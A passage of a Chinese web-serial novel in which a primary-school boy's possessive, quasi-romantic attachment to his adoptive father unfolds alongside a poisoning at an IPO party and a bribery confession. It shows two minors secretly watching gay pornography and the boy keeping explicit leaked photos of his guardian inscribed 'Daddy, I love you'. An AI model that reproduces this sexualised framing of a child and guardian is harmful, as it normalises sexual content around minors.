后半夜,叶修明一身汗津津地从梦里惊醒,似乎被噩梦魇住,一双大眼无神地盯着窗外。 叶修明的眼角不受控地冒出很多眼泪,就在他无法控制自己的时候,掀被下床,推开苏廷的门,浑身是汗地钻进苏廷的被子里。 苏廷穿了件亚麻材质的浅灰色睡衣,薄薄一层,几乎是刹那间就感受到了来自叶修明的体温。 他摸了摸叶修明汗湿的后背,打开自己身侧的壁灯,看见叶修明挣扎着想要闭上的一双泪眼,那双眼的形状非常好看,眼裂有一道狭长的弧度,尾梢微翘,眼皮上的浅痕,如同水墨画的枯笔所扫成的细线。 暗处看,瞳仁如同浓墨,睫羽也藏不住其中的冷芒。 苏廷心里咯噔一声,拂去他脸上的泪痕,轻声说:“是不是梦见他们了?” 他很克制地没有在叶修明面前过多地提“爸妈”,因为那是他最绕不过的痛点。 叶修明点了点头。 “小爸,下半年读中学,我还是不想寄宿,你能答应我吗?” 苏廷看他的样子也不像能接受长时间不在家的,立刻就同意了。 “怎么想起来说这个。” 32、第32章 叶修明心里的“想每天都看到你”迟迟不敢出口,生怕苏廷把他当成丧失人性的混蛋。 就这样也挺好,他该心满意足,苏廷跟他永远且必须都只能维持养父子的关系,深一步浅一步他都无法接受。 想着想着,叶修明就箍紧苏廷的腰,半梦半醒地闭上双眼,苏廷的身体软绵绵的,抱起来非常舒服,他就维持着这个姿势睡了过去。 再睁眼时,苏廷已经熟睡,胸前规律地起伏着。 正在叶修明一侧充电的手机嗡嗡响起,正好,他想拿起手机看看几点了,没想到却发现裴星遥给他发的消息。 ——还差最后一步,你想给吗? 他脸色暗沉下去,最后一步……到底是什么呢? 翌日,叶修明趁课间把隔壁班的裴安喊了出来,神神秘秘地问道:“你知不知道……同性恋之间的‘最后一步’指的是什么?” 裴安“啊?”了一声,指着自己的鼻子:“你问我的原因不会是因为我看出你遗-精,你就觉得我什么都懂吧。我倒是想知道,可谁告诉我啊。” 叶修明真想把他的嘴捂住!愁眉苦脸道:“我说……你声音再这么大,我找阮林当朋友了。” “阮林早就转学了!” “为什么?” “因为他爸爸那点工资本来就付不起咱们学校的学费,都是别人资助的。”裴安道。 感到世事有点无常的叶修明愣了愣,很快就恢复了刚才的话题,问:“裴安,你认识的人里面,有没有男同性恋?能不能去问问……” 裴安是认识几对,但有点不大好意思,生怕别人怀疑他的取向。于是他扭扭捏捏地皱着眉说:“你去找人问!” 叶修明心想让他去找温言玉吗?还不如干脆杀了他。 裴安见叶修明也开始面露难色,试图转移他的注意力:“晚上我们家只有我一个人,我爸妈觉得我跟你住一个周末比较合适。” 叶修明眯了眯眼:“他们知道我?” “那当然了,你是我最好的朋友嘛!” 叶修明板着脸:谁家最好的朋友不帮忙瞎打听的。 一整个下午,叶修明都有点心事重重,不过很快到了放学时间,他的跟屁虫裴安已经列位,两人一同坐上了苏廷的车。 苏廷本来对这位叫裴安的小孩没有过多的关注,只觉得裴安人小鬼大,有点猴精,没大在意。直到他俩在后座互相看着彼此的手机,还不断地用悄悄话交头接耳,这就令苏廷有些不适了。 有什么话是不能当着他的面说的? 今天是他公司上市的敲钟日,叶修明就没有什么想问的? 其实裴安是通过手机搜到了“最后一步”的要义,那就是两个不分性别的人做-爱。 裴安小声问叶修明:“男人之间到底怎么做-爱?” 叶修明连这个词都是第一次听见,面红耳赤的,瞪了裴安一眼,并用余光窥探苏廷是否听到了。 他对裴安耳语道:“是我问的你!” 裴安:“是哦,哈哈哈。” 叶修明简直没办法了,心想老天爷要不把裴安劈死吧,苏廷还算对他们比较客气,问道:“你们想吃什么?” 裴安终于赶上这一part了,瞬间举手:“我要吃火锅!” 苏廷看着后视镜里的叶修明:“你呢,修明。” “我都……可以。” 苏廷面无表情:“那就火锅了。” 苏廷对火锅这种看似热络的吃法本来就不喜欢,碰上叶修明跟裴安两个依旧在窃窃私语的,心里就更加不是滋味。 裴安单手将自己的手机屏幕推到叶修明面前,捂住叶修明的右耳说:“这是别人发给我的,现在看不看?” 叶修明像看白痴一样盯着裴安,耳语道:“你不如把我涮火锅里。” “那是看还是不看。” 叶修明:“晚上再看!” 苏廷半歪着脑袋,手指轻轻叩击桌面,煞有其事地看着两位,仿佛在用视线凌迟他们,他带着审视的目光,头偏向叶修明:“修明,你的礼貌呢。” 这话一语双关,叶修明还以为自己对待朋友的态度不够好,从而引起了苏廷的不满,所以立刻给裴安倒着鲜榨,生怕怠慢了客人。 苏廷把自己的杯子也推过去,用眼神示意,他也要。 叶修明乖巧地给他倒了多半杯,开始提起初中择校的事情,“小爸,我想和裴安在一个学校读书,可以吗?” 跟这所私立小学同一水平的中学只有那么几所,叶修明把学校的名字报了之后,苏廷的脸当场就挂不住了—— 叶修明舍近求远,选了个郊区的学校。 “金湾公学不行吗?”苏廷说的是离家更近、但学费最贵的那个,叶修明听罢摇了摇头,“可我想跟裴安一起。” 苏廷知道争执下去反倒是自讨没趣,给了叶修明一个秋后算账的眼神后,兀自夹着凉菜,迟迟都没有送到嘴里。 叶修明知道苏廷没有吃火锅的习惯,中间溜出去给他买了份快餐,苏廷微蹙的眼眉这才缓缓展开。 叶修明这孩子还从没把哪个朋友带回家,这一小步,对他来说是一大步,自己不该规着脸,要给裴安家的温暖。 他这样想的,却没这样做——当然是在叶修明主动要求让裴安睡自己卧室的时候。 当时苏廷的表情足以用震惊来形容,“喂”了一声,叶修明抱着佣人给的枕头脚步一顿,回头问道:“怎么了小爸?” 苏廷说:“你跟裴安一起睡觉,他爸妈不会有意见吗。” 叶修明:“没有啊,叔叔阿姨刚才才来了电话,让我好好照顾裴安,还说他胆子小,最好别让他睡单独的卧室。” 苏廷:“你确定这是他爸妈说的。” “确定啊。”叶修明想早点看别人发给裴安的视频,急吼吼地就跑进卧室,风把门一带,发出尖锐刺耳的声音。 苏廷怅然望着叶修明的卧室,不知为什么总想打电话把裴星遥叫过来。可他最后忍住了,不能给的东西就算别人央求多少遍都不行,没必要给他徒增希望。 他竭力稳着心神,心想自己是不是把叶修明养偏了,在那扇门的背后,他会不会做出超出年龄以外的事情。 可他想着想着,就想到自己怀里柔弱可怜的叶修明,想来那个只知道吃饭睡觉的臭小子还没到发育的时候。 更不要提跟其他的男孩子做出逾矩的事情了。 这样想,他总归放心了许多,一人跑到卧室刷着财经新闻,不一会儿便觉得烦躁,蒙头把自己困在被子里,隔绝外面的纷纷扰扰。 谁想到,叶修明的卧室里竟然爆发出一阵轻狂的口哨声,苏廷立刻推门,光着脚来到叶修明的门外,正要敲门的时候,听见裴安道:“我的妈啊,身材也太好了。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 33、第33章 苏廷如同吃了一记大闷棍,心想刚才自我劝解的部分就当是喂狗了,他实在想不出还有其他的可能,会让裴安说出“身材好”这种话。 肯定是叶修明脱光了。 但像他们这么屁大的孩子,还远远不知道什么叫身材好,更不会长出值得让人惊叹的身材。 所以裴安这么恭维叶修明,到底图什么? 叶修明不顾道德底线,没事瞎脱什么衣服? “我的妈啊,这么大……怎么还进去了???”还是裴安的声音。 “……” 苏廷生怕晚一步叶修明会酿成大错,几乎是立刻就推开了叶修明的门,只见床上两人的被子盖住全身,连脑袋都没露出来,却在苏廷说话之间哆嗦了两下。 “修明,你今晚还有网课,我来提醒你。” 叶修明忙把手机扣过去,涨红着脸,探出个头来,“小爸,我是在上网课。” “裴安呢?” 裴安也从缩头乌龟变成头来,对苏廷讪讪笑道:“苏叔叔,我也在上。” 苏廷只身走到书桌旁,拉出椅子,说:“你们的姿势不对,会把眼睛看坏,过来坐着。” 叶修明弹跳式地就合衣出来了,苏廷看他衣衫整齐,慌乱的心平静了几分,他继续道:“裴安,你也出来。” 裴安这才慢悠悠地钻出来,眼风快速扫了苏廷一眼,说:“苏叔叔,你什么时候站过来的,在偷听我们吗。” 苏廷这才后知后觉地知道自己这是碰见刺头了,自我辩解道:“刚听见声音大,想看看修明是不是还好好的。” 裴安把他瞪着,忽然笑了,“你是怕我睡觉四仰八叉地把叶修明踹死吧,哈哈!” 苏廷略微愣神,连看他们的眼色都缓和下来,仿佛他们又变成苏廷眼里不谙世事的毛头小孩了。 他是多想了。 可自己怎么真的跟老父亲一样,事无巨细地操心,害怕叶修明往歪处长,他简直怕死了,怕自己连个养父都当不明白,看来周叙白这个老啰嗦真的给他的心里种下了一颗种子。 叶修明却嗅到一丝旁人不曾察觉的诡异,为了验证这种诡异,他将手臂搭在了裴安的肩膀上,鬼精地偷觑着苏廷的反应。 苏廷果然低声道:“修明,好好坐着,注意你的身份。” 前面那句“好好坐着”还情有可原,毕竟他坐得歪斜,任谁看了都要皱眉。可这后半段的“注意身份”,就恰好验证了叶修明心中所想。 苏廷不喜欢他跟裴安走得很近吗?不然他该怎么解释这一晚上的冷脸? 注意的身份,到底是作为苏廷的养子,还是作为叶修明自己? 苏廷可能都没有意识到,他对这个儿子与外面的边界感正在加强,似乎并不想鼓励叶修明建立属于自己的社会关系网络。 即使他嘴上会问,你交到朋友了吗? 苏廷的愧疚感像被泡发的海绵一样迅速膨胀,迅速走到衣帽间取出件量身定制的西服,说:“这是明天上市酒会给你准备的衣服,空了记得试一下。” 叶修明这才想起来今天到底什么日子。 “小爸!公司已经上市成功了?” 苏廷摸了摸鼻头,抑制住了几分兴奋,有些倨傲地“嗯”了一声。 叶修明猛地朝苏廷扑来,跟他撞了个满怀,听见苏廷鼓噪的心跳。 “恭喜小爸,你等我给你包个大红包。” 苏廷笑道:“不用了,反正羊毛出在羊身上。” 这时裴安听懂了他们的聊天内容,也过来死死地抱住苏廷,他跟叶修明就像抱树一样环绕着苏廷。 裴安兴奋地说:“你别说,这还是我抱过的第一个上市公司老总,恭喜你啊苏叔叔。” 苏廷受用了,朝他赞许地点了点头。 “小爸……”叶修明募地开口:“明天的酒会能让裴安也参加吗?不然我们都走了,他去哪啊。” 苏廷正要说让佣人陪着,才发觉家里的佣人都要去现场打下手,于是表情不自然地应下了。 裴安乐得直发疯,“我发誓绝不在酒会上乱动!” 裴安虽然私下不着四六,但真要上桌,该有的礼仪只多不少,叶修明一点也不担心。 眼下除了准备明天的礼服,最重要的就是把视频看完,他松开苏廷,说:“我跟裴安还有事,小爸你早点休息,别熬夜。” 裴安接收到了信号,跃跃欲试地搓着手,苏廷的眉际浮过一层化不开的阴云,唇缝绷成一条弧度向下的线。 “你还有套备用西装,既然你们两人的身材差不多,就借给裴安穿。”苏廷说。 “好了,我知道了,”叶修明轻轻地拉住苏廷的手,用不容置喙的决绝引他出门,至此,在房门关上的一瞬间,苏廷便被彻底地隔绝在他们的世界之外。 他无比落寞地看着深灰色的门,轻叹一声,走了。 房间内对知识的渴求还在继续,裴安把视频的声音调到可以接受的范围,给叶修明使了个眼色,两人就同时钻进被子,趴着看剩余的部分。 那视频是裴安一位同性恋朋友发来的gv,尺度巨大,百无禁忌,可谓是一点美感都没有,但教学的目的却达到了,因为特写、慢镜头一个不少,叶修明屏住呼吸,随着他们的节奏慢慢看完了。 他先是觉得毫无触动,但在联想到裴星遥想和苏廷做这些的时候却慌了神,叶修明乱点着屏幕,哑声半天才蹦出句子:“他们疼不疼啊?” “你听声音,觉得他们像疼的样子吗?”裴安见他还在懵懂,痴笑:“那叫呻-吟,是爽的时候才会发出的声音。” “谁爽?” “都爽。” 叶修明半眯着眼睛,不理解下面那位有什么爽的。而且看表情,那不是在抽搐吗?可再继续跟裴安探究下去,这事儿就有点变态了。叶修明虽然小,但知道男孩之间的尺度到底在哪。 所以他将这个问题隐藏在了心中,决定等以后有机会认识男同,再问也不迟。 可是苏小爸……到底是在什么位置? 他是爽的那个,还是抽搐的那个?魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 34、第34章 苏廷试图用工作来麻醉自己,他拨通了周叙白的电话,那边急他之所急,道:“知道你非得要三个佣人,明天酒会结束,你从那些女侍里面挑一个就行了。” “不要太年轻的。”苏廷摸着古币吊坠,言辞恳切道。 “为什么啊。” 苏廷看着叶修明房间的方向,抿着嘴唇,半天才道:“怕给修明不好的影响。” 周叙白直接把“笨蛋”都喊了出来,“像他这么大的孩子,偏偏不能往死里管,不然会很叛逆的,到时候有你受的。” 苏廷就是不想让年轻的女侍天天在叶修明的身边晃,这也不算管教、甚至是私心吧,他呛给周叙白:“我还没真正开始管呢。” 周叙白:“行了,怎么聊来聊去都是孩子,明天的致辞背过了吗?我给你说,这次新媒体都请的头部,出不了一点差错。” 苏廷的心里自有一份腹稿,也不是谁替他草拟的,更没有感谢的名单。 因为他想感谢的只有自己。 苏廷冷眼盯着无边夜色,从他的位置看去,深邃目光里是西郊的位置。 他道:“周叙白,管好你手头的事,不要过界。” 周叙白简直拿他一点办法也没有,“菜单我刚才发你了,这你得看吧。” “嗯,我先看看有没有修明不能吃的。”苏廷像想起了什么,“记得加芝士洋蓟,修明说对他身体好。” 周叙白:“……你对儿子也太……那将来公司也是他的了?” “我可不想让他这么累,到时候给他一笔信托,想做什么就做什么,不必担心别人的眼光。”苏廷笑着说,似乎真的预料到了那一天。 “儿子这么养会被你养废的!” 苏廷的脸倔强地下沉:“再说一遍,修明叫你声大爸不代表你真是他爸。” “那你要选谁?” “我谁也不选,以后就只有我一个人带着修明。” 电话传来长时间的冷寂。 周叙白突然沉声道:“苏廷,你开心就好。” 开心?今晚之前还挺开心的。苏廷心说。 “你说,十几岁的小孩把自己关在房间里到底在干什么?”苏廷求知若渴道。 周叙白失笑:“你十几岁的时候把自己关在房间,是在干什么呢?” “我在读书,”苏廷说,“难道你不是吗?” 周叙白:“大部分这个年纪的孩子呢,一旦关上房门,那一定是在……探索自己的身体。” 苏廷“嗯?”了一声,冷不丁地又出现那种受惊的模样。 “那两个十多岁的孩子呢。” 周叙白:“那就难说了,反正是在交流不方便大人知晓的事情。” “还有什么东西是我不能知道的。”苏廷有点着急,“周叙白你把话讲明白。” “只可意会不可言传,苏廷啊苏廷,人从来都是最复杂的生物,你就当叶修明在给你上课吧。这节课,还很长。” 苏廷重重地垂下眼睫,斜睨着身后的房门,不管周叙白这句话是不是诅咒,他都得坦然面对叶修明给自己带来的一切。 酒会当天,苏廷先一步去了现场督办,今天threshold十楼以上全部清场,各部门都严阵以待,尤其是后厨,由于到了三星的厨师,要做很多分子料理,连液氮都搬出来了,大家的表情都显得非常紧张,生怕出一点差池。 ipo酒会向来讲究好彩头,比如菜品有用吉拉多生蚝、青苹果液氮球蘸可食用金粉的,寓意“泡沫中的真金”,甚至呼应ipo的估值。 而酒会的细节,甚至都体现在服务生领结的褶皱上,一切都要符合资本圈的审美。 见后厨已经在分发恒温餐盘,苏廷知道第一波宾客即将到来,他毫不紧张地迈上楼梯,向下旋转,水晶灯折射出无数光斑,空气泛浮着奢靡香水的气息,如同繁华一梦。 苏廷剪裁得当的西服套装线条流畅,将他挺拔的身姿完全勾勒出来,显得他优雅而庄重,头发用轻微的发胶定型,光泽动人,丝丝缕缕都写着魅力十足。 这是他从废墟里走出来的第五年,他终于做到了。 苏廷跟先到场的举起香槟庆贺,倏忽间看到了叶修明瘦削的身影,他也穿着黑色西装,半长不短的头发向后梳了个小辫,露出饱满的额头。 还真有点小大人的意思。 苏廷给周边的人说了句抱歉后,就来到叶修明身后,轻轻拍了拍他的肩膀,说:“你怎么才来啊。” “裴安非要给我梳辫子,小爸。”叶修明水汪汪的大眼在水晶灯下显得格外动人,眼中倒映着酒会的纸醉金迷。 在这么重要的场合,谁能想到,刚刚市值突破百亿的扉合地产的掌门人,竟然当众扯掉了一小孩的辫子。 叶修明的发丝滑落,软绵的头发自成一型,苏廷似乎还在介意与裴安有关的事情,到底是不是自己想的那样? 苏廷对自己是有占有欲的。 “小爸,我跟裴安去那边吃东西了。” 苏廷:“喂,就不跟你小爸说两句。” “小爸,红包……你不让包,恭喜……我也说了,那要不我跟裴安跟你提前拜个早年?哈哈。” 说罢,叶修明就环着裴安的手臂,走到主菜区觅食去了。 才刚站在离菜品不远的地方,叶修明就冒了句:“他怎么来了。” 原来是裴星遥举着香槟,像个男主人似的站在了苏廷的身侧,似乎还在小声说些什么。苏廷的视线遥遥地与叶修明相撞,再一触即分,仿佛谁也没想从对方的眼神里读出点什么。 拜早年?苏廷心说,怎么不把来年的圣诞节也一起过了。 裴星遥也穿得非常正式,微微侧身,凑到苏廷耳边说:“恭喜你。” 苏廷对他说:“祝你也有这么一天。” 眼神却依然在叶修明的方向,裴星遥顺着他的目光看过去,眼观鼻鼻观心地说:“在哪都要带孩子,是不是有点累?” 苏廷轻声道:“也没有,可能是我管得太多了。” 他见叶修明忽然死死地盯着一道主菜,露出异样的目光。 叶修明对裴安道:“这菜有问题。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 35-40 第35章 裴安疑惑地问:“有什么问题?” 那是道翡翠莳萝三文鱼卷,是用液氮冷冻成的脆片,外观看起来是翠绿色裹着三文鱼,象征着“上市绿灯”。 叶修明说:“明明被液氮冻住了,为什么里面的三文鱼还是原样?” 裴安:“没冻住呗。” “不可能,这道菜我又不是没吃过,三文鱼也是硬脆的薄片才对。” 叶修明拦住一个想要过来拿这道菜的,说:“叔叔不好意思,没有蘸料了。” 裴安拉了拉叶修明的衣袖:“你干嘛,在你小爸的宴会上捣乱是吧。” 叶修明摇了摇头,“这菜绝对有问题。” 至于是什么问题,他丝毫没犹豫地咬下一口,吃了不就知道了。 幸好涌动的人群已经去往舞台两侧,等待苏廷的发言,叶修明他们也不必硬拦,给了他们喘息的机会,叶修明给一位男侍打着响指,说:“把这道菜撤了吧。” 那人有些难为情:“可这是大厨和苏总亲自定的菜单。” 叶修明的喉咙突然收紧,有些呼吸不畅,他迅速扯开衣领,眼球泛出血丝。 “这菜里……有毒。” 他撂下这话之后就昏了过去,裴安一时间只能乱叫苏廷的名字,那男侍也急了,连忙探向叶修明的口鼻,幸好……幸好还有气息。他看裴安在呼叫苏廷,有样学样地也大呼小叫起来。 人群顿时朝这边看过来。 还是周叙白眼尖,一下就看出那是他带回来的西服,他给台上的苏廷使了个“不好”的眼神,就先如离弦的箭,跑到叶修明身边查探情况。 “怎么了?发生什么事了?” “听说有个小男孩吃什么东西噎住了,脸都紫了。” “好像是苏廷的养子。” “啊?那这酒会不就白瞎了?” 苏廷听见“养子”二字,终于有些站不住,打着趔趄找到了瘫软在地上的叶修明。他悲痛欲绝,双目失神,一直拉着叶修明的手,直到他被拖进抢救室才肯松手。 他坐在门口,显得异常焦躁,裴安则不住地流泪,并没安抚到一点。 “叶……修明是怕……大家吃到脏东西……自己非要……去试的。” 苏廷微抬双眼:“什么叫脏东西。” “他说……有个菜本来应该是……干的,却变成湿……的,有可能是毒药。” 叶修明也太不让人放心了!遇到这种情况难道就不能给服务生说?非要自己亲自去试毒!叶修明到底知不知道一旦这条命不在了,他苏廷一定会悔恨终身! “裴安,”苏廷强压怒火,“如果修明出现任何状况,我会让你好过。” 裴安:“哇…!” 周叙白还在现场跟警察描述中午发生的状况,被叶修明试吃的三文鱼片也被带到检测机构。警察调取了当天的监控录像,锁定了一位着黑色裤装的女侍,很快就把她捉拿归案。 周叙白赶到医院的时候,叶修明还在抢救,他的呼吸顿时紊乱了,不敢想象苏廷会有多煎熬。 周叙白蹲在苏廷的面前,说:“还记得我们找了个替罪羊给阮治国行贿吗,他已经羁押候审。本以为好处给尽,他就能心甘情愿地坐牢,没想到他的老婆林雨却不干了,这次投毒和泼油漆的都是她。” 他继续说:“警察抓住她的时候,她大声喊冤,说有重要线索要提供,看样子是要把这个秘密捅出去,公司这才刚上市,就遇到这种事,苏廷,你做好准备了吗?” 苏廷从不信命,觉得人的自由意志才是至高无上的一切,可他现在竟然有一丝地认命。 可能他就应该待在废墟之中,与肮脏的东西一起腐烂。 “周叙白,你不用担心,天塌了有我在,该我承受的我会顶着。” 周叙白笑道:“有你这句话我就放心了,苏廷,替我照顾好儿子。” 苏廷还没来得及回味周叙白这句话到底什么意思,抢救室就传来好消息:“病人的食道和呼吸道黏膜受损,好的是没有伤到脏器,已经脱离危险期,不过还需要住院观察几天。” 苏廷感到喉咙里卡着个硬块,让他呼吸不得,理智也在大脑里蒸腾个不停,让他仅剩躯壳。苏廷攥着叶修明冰凉的指尖,想把自己的热度毫无保留地交给他。 裴安一路小跑,跟着叶修明的病床到达他的房间,苏廷满目空洞地看了裴安一眼,又将叶修明的双手揣在了自己的怀里。 周叙白领着裴安走了出去,“我送你回家吧,这里有苏廷就好。” “苏叔叔会怪我吗?” “他不会,他现在肯定在怪自己。”周叙白可太了解苏廷了,他遇事从不推卸责任,也不会怪无关紧要的人,这份内耗永远留给自己薄弱的身躯去解决。 周叙白有些悲伤地回看了一眼,就去做他必须要做的事了。 人这辈子,总得为一句“喜欢”付出点什么。 周叙白向警察自首,说出给阮治国行贿的始末,一人担下所有罪责。 那警察似乎已经被林雨告知了扉合地产与官员私相授受、官商勾结的脏事,听见周叙白的坦白也没太惊讶,只是,他真的不是替谁顶罪吗? “你一个董秘,是怎么动用那么大一笔资金的。” 周叙白:“都是我的个人财产。” “为什么要用自己的钱,帮公司创造利益?” 周叙白想笑,便笑了:“因为我爱他。” 这么多年没听过爱情故事的警察像看濒危动物一样看着周叙白。 他过于滚烫的、不加收敛爱意,几乎要把天幕都烧穿。可又能怎么办呢?他就是爱他,想见到他幸福的样子,那幸福与自己无关都可以。 周叙白永远记得少年苏廷一身晶莹的细汗坐在他前面,发尾上都是汗,他好奇地问:“你从哪流的这么一身汗。” 苏廷闻言,微转过身,能看到锋利的侧脸。 “不该你管的事,少管。” 所以周叙白心想,那就把你的事,都变成我的事不就好了。 他笑着,给苏廷发了条信息。 ——下个秋风尽,一定是归期。 第36章 苏廷冷冷地扫向那条信息,不知道周叙白在整什么幺蛾子。 可叶修明病成这个样子,他没有心力去思考,只知道在大厦将倾之前,自己还有时间照顾他,保护他。 这样就够了。 他一动不动地坐在病床旁,目光呆滞,床上的叶修明似乎又瘦了一圈,正半张着嘴呼吸,露出干净的小虎牙。 为什么他非要忙于应付工作,和那个没什么意义的破酒会。 和叶修明的身体比起来,酒会真的不值一提。 苏廷心想,就算自己的自由也不值一提,他还是不后悔出招把阮治国弄进去,欺负叶修明的人都该死,没有一个人是例外。 苏廷第一次觉得叶修明对自己,可能比对他更重要。 出现这个念头的时候叶修明的手指突然一阵抽动,好像已经恢复了神识,苏廷立刻俯身轻声去唤醒他。 “修明,修明,你醒醒。” 叶修明是在剧痛中醒过来的,那痛大抵与灼伤的食道有关,他不知所措地掐着自己的喉咙,眼冒金星地说:“小爸,我好疼。” 苏廷极力克制着悲伤,按下呼叫铃,安慰他说:“等一下就好了。” 护士过来后,看出叶修明可能是被吓到了,因为昨天内镜检查后,发现创面并不深,保守治疗就行,但小孩子嘛,肯定承受不住这样的疼痛。 护士忙教他用腹式深呼吸调解情绪,果然,叶修明很快恢复了正常,给他挂上营养液后,就留苏廷照看。 叶修明的眼中噙满泪水,像做错事的孩子问道:“小爸,昨天我毁了酒会,你不恨我吗?” 苏廷很介意叶修明的自责,严正制止了他的过分小心:“其实你觉得出现问题的三文鱼,确实是被人倒上了强碱性物质,一旦被大家误食,会造成不可预计的后果,这样才是灾难级别的酒会。所以修明,你救了小爸。” “可是……你还没致辞。”叶修明知道下面站着的都是些重量级别的来宾,让他们白跑一趟,实在不好。 “是周叙白这个老妈子把这场酒会的意义夸大了,我致不致辞,扉合一样在主板飘红,这些都是形式,你长大就会知道。” 叶修明委屈地翻转了个面,觉得自己长得太慢。 还不能替苏廷分忧,不能替他扛事,连站在他身边的资格都没有,他好恨老天爷让时间走这么慢,再快一点吧,他想,他想快点知道人生的答案。 老天爷似乎听到了他的呼唤,这次的病程很快就结束了,他人小,代谢快,自我愈合的能力也强,很快就能正常进食。苏廷生怕会有后遗症,拉着医生确认半天。那医生八卦道:“看你挺年轻的,怎么有这么大的儿子。” 苏廷这才第一次认认真真地正视这个问题。 一定是老天觉得他孤单,才派这样一个小鬼陪自己。 他只道:“年轻的时候不懂事。” 那医生便捂嘴走了。 出了医院大门,苏廷这才恍然发觉好像缺点什么,环顾一周后,竟然没看到周叙白的影子。他把出院单递给叶修明让他拿着,立刻给周叙白拨去电话。 “您所拨打的电话已关机。” 他几乎一刻不停,回到公司,办公室、会议室……所有可能的地方都找了,却还是找不到周叙白的身影,他往下走了一层,问前台:“看见周叙白了吗?” 那人看出苏廷两眼不闻窗外事了,战战兢兢地说:“您……还不知道……吗?周总被……警察带走了。” 这时,财务总监正端着咖啡从茶歇室出来,看见苏廷,像看到救兵,连“我的姑奶奶”都冒出来了,她把周叙白和公司被警察调查、私人账户被冻结,还有找公司的人问话等等都条缕清晰地说了出来。 最后补充道:“不过呢,周叙白确实动用的私人财产,跟公司无关。电话记录和监控也能证明这件事是周叙白一人所作所为。” 她兀自分析道:“这件事一旦披露,一定会影响股价,但不会造成实质影响。” 苏廷有些恼了,“我在乎这些吗?” 叶修明完全不懂他们在打什么哑谜,涉及到公司秘密他也不敢多问,只说:“大爸会判刑,对不对。” 财务总监跟苏廷都沉默了。 他是小孩子,小孩子总是沉不住气,所以他还是问道:“大爸究竟干了什么?” 财务总监道:“还不是前段时间贿赂了个区委书记。” 苏廷立刻喝住:“住口。” 在叶修明就近的世界里,他只认识一个阮姓的区委书记。 “那个书记,他姓阮吗?” 财务总监:“欸,你怎么知道!” 苏廷只觉得财务总监多嘴多舌,眼刀差点剜了她。 阮治国,那人常常跟在叶修明爸爸的后面拍马屁,所以他知道有些地方对引进企业和地产公司是欢迎的。 但大爸作为扉合的董秘,为什么还要反过来贿赂他呢? 难道……只是为了报复? 叶修明的眼里闪现出一道奇异而温柔的光,对苏廷,也对周叙白。 他小爸和大爸真的会为了区区一个养子,不惜付出一切代价。 可他怎么也高兴不起来,这几天出现的变故太多,曲折太多,两个爸的人生仿佛经历了过山车似的起伏,当这一切的结果都要承受在苏廷肩上时,他真的不会因为压力繁重而讨厌自己吗。 如果没有自己,一切都会好好的。 苏廷马不停蹄,带着律师到了看守所,虽然律师一直在强调500万是绝不会争取到取保候审的,可苏廷却像把耳朵剁了,一概不听,周叙白见律师都劝不动他,缓缓伸出手,摸着苏廷瘦削的侧脸。 “苏廷,事已至此,你只能听律师的话,说不定我认真悔改还能少坐几年,你也不用担心我在里面过得好不好,我过得挺好的……除了看不见你。” 苏廷淡笑:“你永远都可以对警察说是我干的。” 周叙白觉得稀里糊涂还挺好,何必在乎你的我的,“我舍不得你在里面受罪。” “更何况,警察就算想逮你,也没证据。” 苏廷有些阴寒地冒出一个想法,周叙白像是能读心一般地打住了:“在女子监狱找人灭了林雨,对你来说太不值得了。” 第37章 “事情是我们做的,她也是无辜的受害者。”周叙白说。 “可她差点把修明毒死!”苏廷阴沉着脸,低吼一声,引得看守所民警阵阵侧目。 周叙白给他了一个千万别激动的眼色,说:“有时候我也在想,我们是不是作恶太多了,所以才会有这么多的报应,苏廷,你在外面也要认认真真想想我们前半生的所作所为,真的真的是没有问题的吗?” 苏廷凝然不动:“你想当圣母。” “如果还给我留扇门的话,我想当你身边唯一的男人。”周叙白一摊手,诸多无奈都凝固在嘴角:“但我们这辈子也只能这样了。” 苏廷走之前,周叙白的眼眶红了,他拉着苏廷的手,半声不吭,却久久不愿分开。他出狱后能重拾对生活的信心,可是能忍受苏廷身边有其他男人吗? 那一定如凌迟般痛苦。 苏廷真想把这家看守所都炸了!凭什么?凭什么偏偏是最老实的周叙白代他入刑?他这辈子又做错过什么事,周叙白连自己的爪牙都算不上! 他拂去眼角即将流溢出的泪,知道周叙白也是能逼他哭一次的。 当他用审慎的目光看了下天空,这才惘然发觉自己的身边连老妈子都没了。 律师问:“还争取取保候审吗?” 苏廷断没犹豫:“要。” 房间里,几个小时过去,苏廷还一直保持着呆坐的姿势,家里偌大的客厅竟头一回显得空落落的,苏廷觉得孤单,骤然起身,觉得还是去叶修明的房间坐会儿吧。 幸好他还有个半路来的儿子。 影影绰绰的灯光在苏廷身上铺展开来,令他有了几分神秘。他端了杯威士忌加冰,伸脚探了进去。 叶修明的房间如他这个人一样,整洁干净,东西也放得规规矩矩,书架上还摆了些高深的文学作品,苏廷随手抽了本日本作家的随笔,放下酒杯,认真阅读起来。还好,这位作家的遣词造句没那么生硬,苏廷觉得能看就决定扣下了。 不过,以他的阅读速度这本书不到一会儿就能看完,他决定再随便抽一本。 苏廷用点兵点将的老办法,锁定了一本黑塞的书。 正当他想信步取走时,忽然,这本书带出了几张照片。 苏廷定睛一看,浑身冷颤,脸立刻绿了—— 那是苏廷当年被顾见清泄露的艳照,被摆弄成各种诱惑人的形状,毫无限制级别,每一张都代表了自己屈辱的过去。 怎么回事。 叶修明怎么会有呢?他拿照片做什么?他有这些照片为什么不跟自己说? 苏廷决定把这些耻辱统统捡起来扔进垃圾堆,可他却在看到背面文字的时候好似触了电—— “爸爸,我好爱你,好爱你。” 苏廷几乎是一瞬间就想到答辩当天的插曲,当时……给上市委的那些照片背后也写着“爸爸”,彼时他竟然那么好心,觉得不是叶修明干的。 现在想来,自己简直大错特错! 一阵冰凉刺骨的寒意从苏廷的脚下缓缓蔓延,让他只能慢吞吞地拖着脚走路,他慌乱地朝叶修明的房间再看了一眼。 难道叶修明跟裴安也分享过这些照片? 所以才能解释那些爆炸式的声响。 什么叫养虎为患,他今天终于尝到了滋味。 可叶修明为什么要这么做? 数百个疑问同时在心中升起,但都不如一个事实让他心寒——周叙白,竟然为了这样一个在背后捅刀子的孩子,葬送了自己至少十年的青春。 不值,真的不值。 募地,苏廷手里的酒杯被他用蛮力捏碎,清冽的“嘣”声刺破鼓膜,掌心就像爆开一簇水晶匕首,寒芒刺穿了指缝。 每一片随处四散的玻璃上都有未熄灭的怒火。 曾被叶修明打开过的心里的口子,随着一股不知名的恨意,再次尘封。 他是懂得怎么在伤口上撒盐的。 